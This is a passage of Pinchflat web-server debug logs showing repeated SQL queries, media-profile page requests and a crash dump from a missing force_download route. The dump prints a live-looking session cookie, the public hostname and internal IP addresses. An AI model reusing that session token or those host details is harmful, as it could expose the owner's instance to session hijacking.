"1"} Pipelines: [:browser] 21:43:12.291 [debug] QUERY OK source="media_profiles" db=0.3ms idle=143.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:12.292 [debug] QUERY OK source="settings" db=0.1ms idle=143.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.292 [debug] QUERY OK source="settings" db=0.2ms idle=143.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.293 [debug] QUERY OK source="settings" db=0.3ms idle=142.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.303 [info] Sent 200 in 13ms 21:43:12.362 [info] GET /media_profiles/new 21:43:12.363 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 21:43:12.364 [debug] QUERY OK source="settings" db=0.6ms idle=166.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.366 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=73.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.366 [debug] QUERY OK source="settings" db=0.3ms idle=74.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.368 [info] GET /media_profiles/1/ 21:43:12.369 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 21:43:12.370 [debug] QUERY OK source="settings" db=2.4ms idle=75.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.372 [info] GET /media_profiles/3/edit 21:43:12.373 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 21:43:12.373 [debug] QUERY OK source="media_profiles" db=2.4ms queue=0.9ms idle=76.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:12.373 [debug] QUERY OK source="settings" db=1.7ms queue=0.3ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.374 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 21:43:12.376 [debug] QUERY OK source="media_profiles" db=1.5ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:12.377 [debug] QUERY OK source="settings" db=1.7ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.378 [info] Sent 200 in 15ms 21:43:12.378 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.378 [debug] QUERY OK source="settings" db=1.0ms queue=0.3ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.379 [debug] QUERY OK source="settings" db=0.7ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.380 [debug] QUERY OK source="settings" db=0.9ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.380 [debug] QUERY OK source="settings" db=0.3ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.381 [info] Sent 200 in 12ms 21:43:12.383 [info] GET /media_profiles/3/ 21:43:12.383 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 21:43:12.384 [info] Sent 200 in 11ms 21:43:12.385 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:12.386 [info] GET /media_profiles/2 21:43:12.386 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 21:43:12.387 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [3] 21:43:12.387 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 21:43:12.388 [debug] QUERY OK source="settings" db=0.7ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.388 [debug] QUERY OK source="sources" db=1.1ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 21:43:12.389 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.390 [debug] QUERY OK source="settings" db=0.8ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.391 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.391 [debug] QUERY OK source="settings" db=0.3ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.392 [info] Sent 200 in 9ms 21:43:12.392 [debug] QUERY OK source="settings" db=0.3ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.393 [info] Sent 200 in 7ms 21:43:12.394 [info] GET /media_profiles/2/ 21:43:12.394 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 21:43:12.396 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 21:43:12.396 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 21:43:12.397 [debug] QUERY OK source="settings" db=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.397 [debug] QUERY OK source="settings" db=0.3ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.398 [debug] QUERY OK source="settings" db=0.1ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.399 [info] Sent 200 in 4ms 21:43:12.541 [info] GET /media_profiles/2/edit 21:43:12.541 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 21:43:12.542 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=145.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 21:43:12.543 [debug] QUERY OK source="settings" db=0.4ms idle=146.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.544 [debug] QUERY OK source="settings" db=0.3ms idle=146.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.545 [debug] QUERY OK source="settings" db=0.4ms idle=147.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.549 [info] Sent 200 in 8ms 21:43:12.632 [info] GET /sources/7/media/14035 21:43:12.632 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "14035", "prevent_download" => "true", "source_id" => "7"} Pipelines: [:browser] 21:43:12.633 [debug] QUERY OK source="media_items" db=0.4ms idle=235.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14035] 21:43:12.635 [debug] QUERY OK source="tasks" db=0.8ms idle=91.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [14035] 21:43:12.635 [debug] QUERY OK source="sources" db=1.0ms idle=90.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.636 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=91.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2328] 21:43:12.638 [info] GET /sources/7/media/14035/edit 21:43:12.638 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=91.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.638 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "14035", "source_id" => "7"} Pipelines: [:browser] 21:43:12.639 [debug] QUERY OK source="settings" db=0.4ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.641 [debug] QUERY OK source="settings" db=0.7ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.641 [debug] QUERY OK source="media_items" db=2.0ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14035] 21:43:12.643 [debug] QUERY OK source="settings" db=0.8ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.644 [debug] QUERY OK source="media_profiles" db=1.2ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:12.644 [debug] QUERY OK source="settings" db=0.9ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.646 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.648 [info] GET /sources/7/media/14035/force_download 21:43:12.650 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.650 [info] Sent 200 in 12ms 21:43:12.650 [debug] QUERY OK source="settings" db=0.2ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.650 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:12.651 [info] GET /sources/2/media/13708/edit 21:43:12.651 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "13708", "source_id" => "2"} Pipelines: [:browser] 21:43:12.653 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=8.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13708] 21:43:12.654 [info] GET /sources/2/media/13708/force_download 21:43:12.651 [error] #PID<0.36747.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 12) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/7/media/14035/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/14035/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36747.0>, params: %{}, path_info: ["sources", "7", "media", "14035", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => 